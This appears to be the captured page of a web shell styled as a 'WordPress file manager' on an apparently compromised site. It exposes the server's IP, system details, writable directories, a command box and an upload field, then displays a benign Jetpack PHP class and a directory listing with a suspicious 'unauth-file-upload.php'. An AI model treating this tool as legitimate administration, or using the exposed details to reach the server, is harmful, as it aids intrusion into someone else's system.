GRAYBYTE WORDPRESS FILE MANAGER9505

Server IP : 3.104.188.249 / Your IP : 216.73.217.141
System : Linux ip-172-26-1-242 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
PHP Version : 8.3.31
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : ON | Pkexec : OFF
Directory : /var/www/html/wp-content/plugins/jetpack/
Upload Files :
Current_dir [ Writeable ] Document_root [ Writeable ]

Command :


Current File : /var/www/html/wp-content/plugins/jetpack//class.jetpack-client-server.php
<?php // phpcs:ignore WordPress.Files.FileName.InvalidClassFileName
/**
 * Client = Plugin
 * Client Server = API Methods the Plugin must respond to
 *
 * @package automattic/jetpack
 */

/**
 * Client = Plugin
 * Client Server = API Methods the Plugin must respond to
 */
class Jetpack_Client_Server {

	/**
	 * Whether the class has been initialized.
	 *
	 * @var bool
	 */
	private static $did_init = false;

	/**
	 * Initialize the hooks, but only once.
	 *
	 * @return void
	 */
	public static function init() {
		if ( static::$did_init ) {
			return;
		}

		add_filter( 'jetpack_rest_connection_check_response', array( static::class, 'connection_check' ) );

		static::$did_init = true;
	}

	/**
	 * Handle the client authorization error.
	 *
	 * @param WP_Error $error The error object.
	 */
	public static function client_authorize_error( $error ) {
		if ( $error instanceof WP_Error ) {
			Jetpack::state( 'error', $error->get_error_code() );
		}
	}

	/**
	 * The user is already authorized, we set the Jetpack state and adjust the redirect URL.
	 *
	 * @return string
	 */
	public static function client_authorize_already_authorized_url() {
		Jetpack::state( 'message', 'already_authorized' );
		return Jetpack::admin_url();
	}

	/**
	 * The authorization processing has started.
	 */
	public static function client_authorize_processing() {
		Jetpack::log( 'authorize' );
	}

	/**
	 * The authorization has completed (successfully or not), and the redirect URL is empty.
	 * We set the Jetpack Dashboard as the default URL.
	 *
	 * @return string
	 */
	public static function client_authorize_fallback_url() {
		return Jetpack::admin_url();
	}

	/**
	 * Deactivate a plugin.
	 *
	 * @param string $probable_file Expected plugin file.
	 * @param string $probable_title Expected plugin title.
	 * @return int 1 if a plugin was deactivated, 0 if not.
	 */
	public static function deactivate_plugin( $probable_file, $probable_title ) {
		include_once ABSPATH . 'wp-admin/includes/plugin.php';
		if ( is_plugin_active( $probable_file ) ) {
			deactivate_plugins( $probable_file );
			return 1;
		} else {
			// If the plugin is not in the usual place, try looking through all active plugins.
			$active_plugins = Jetpack::get_active_plugins();
			foreach ( $active_plugins as $plugin ) {
				$data = get_plugin_data( WP_PLUGIN_DIR . '/' . $plugin );
				if ( $data['Name'] === $probable_title ) {
					deactivate_plugins( $plugin );
					return 1;
				}
			}
		}

		return 0;
	}

	/**
	 * Filters the result of test_connection REST method
	 *
	 * @return string The current Jetpack version number
	 */
	public static function connection_check() {
		return JETPACK__VERSION;
	}
}

[ Back ]
Name
Size
Last Modified
Owner / Group
Permissions
Options
..
--
June 04 2026 19:23:20
www-data / www-data
2777
3rd-party
--
June 02 2026 00:33:15
www-data / www-data
0775
_inc
--
June 02 2026 00:33:15
www-data / www-data
0775
css
--
June 02 2026 00:33:15
www-data / www-data
0775
extensions
--
June 02 2026 00:33:15
www-data / www-data
0775
images
--
June 02 2026 00:33:15
www-data / www-data
0775
jetpack_vendor
--
June 02 2026 00:33:15
www-data / www-data
0775
json-endpoints
--
June 02 2026 00:33:15
www-data / www-data
0775
modules
--
June 02 2026 00:33:15
www-data / www-data
0775
sal
--
June 02 2026 00:33:15
www-data / www-data
0775
src
--
June 02 2026 00:33:15
www-data / www-data
0775
vendor
--
June 02 2026 00:33:15
www-data / www-data
0775
views
--
June 02 2026 00:33:15
www-data / www-data
0775
.htaccess
0.124 KB
June 04 2026 19:23:20
www-data / www-data
0444
CHANGELOG.md
773.271 KB
June 02 2026 00:33:15
www-data / www-data
0664
LICENSE.txt
18.199 KB
June 02 2026 00:33:15
www-data / www-data
0664
SECURITY.md
2.447 KB
June 02 2026 00:33:15
www-data / www-data
0664
class-jetpack-connection-status.php
0.711 KB
June 02 2026 00:33:15
www-data / www-data
0664
class-jetpack-gallery-settings.php
3.474 KB
June 02 2026 00:33:15
www-data / www-data
0664
class-jetpack-newsletter-dashboard-widget.php
0.426 KB
June 02 2026 00:33:15
www-data / www-data
0664
class-jetpack-pre-connection-jitms.php
2.338 KB
June 02 2026 00:33:15
www-data / www-data
0664
class-jetpack-stats-dashboard-widget.php
7.457 KB
June 02 2026 00:33:15
www-data / www-data
0664
class-jetpack-xmlrpc-methods.php
7.383 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.frame-nonce-preview.php
3.217 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.jetpack-admin.php
21.284 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.jetpack-autoupdate.php
9.929 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.jetpack-cli.php
74.319 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.jetpack-client-server.php
2.621 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.jetpack-gutenberg.php
45.324 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.jetpack-heartbeat.php
4.441 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.jetpack-modules-list-table.php
14.813 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.jetpack-network-sites-list-table.php
6.028 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.jetpack-network.php
22.189 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.jetpack-plan.php
4.094 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.jetpack-post-images.php
11.724 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.jetpack-twitter-cards.php
5.692 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.jetpack-user-agent.php
25.304 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.jetpack.php
205.12 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.json-api-endpoints.php
91.64 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.json-api.php
38.305 KB
June 02 2026 00:33:15
www-data / www-data
0664
class.photon.php
1.736 KB
June 02 2026 00:33:15
www-data / www-data
0664
composer.json
4.29 KB
June 02 2026 00:33:15
www-data / www-data
0664
enhanced-open-graph.php
4.71 KB
June 02 2026 00:33:15
www-data / www-data
0664
functions.compat.php
4.336 KB
June 02 2026 00:33:15
www-data / www-data
0664
functions.cookies.php
2.038 KB
June 02 2026 00:33:15
www-data / www-data
0664
functions.global.php
15.868 KB
June 02 2026 00:33:15
www-data / www-data
0664
functions.is-mobile.php
2.47 KB
June 02 2026 00:33:15
www-data / www-data
0664
functions.opengraph.php
30.988 KB
June 02 2026 00:33:15
www-data / www-data
0664
functions.photon.php
3.037 KB
June 02 2026 00:33:15
www-data / www-data
0664
jetpack.php
8.917 KB
June 02 2026 00:33:15
www-data / www-data
0664
json-api-config.php
0.33 KB
June 02 2026 00:33:15
www-data / www-data
0664
json-endpoints.php
6.925 KB
June 02 2026 00:33:15
www-data / www-data
0664
load-jetpack.php
3.694 KB
June 02 2026 00:33:15
www-data / www-data
0664
locales.php
0.362 KB
June 02 2026 00:33:15
www-data / www-data
0664
readme.txt
33.647 KB
June 02 2026 00:33:15
www-data / www-data
0664
unauth-file-upload.php
5.854 KB
June 02 2026 00:33:15
www-data / www-data
0664
uninstall.php
1.649 KB
June 02 2026 00:33:15
www-data / www-data
0664
wpml-config.xml
1.259 KB
June 02 2026 00:33:15
www-data / www-data
0664

GRAYBYTE WORDPRESS FILE MANAGER @ 2025
CONTACT ME
Static GIF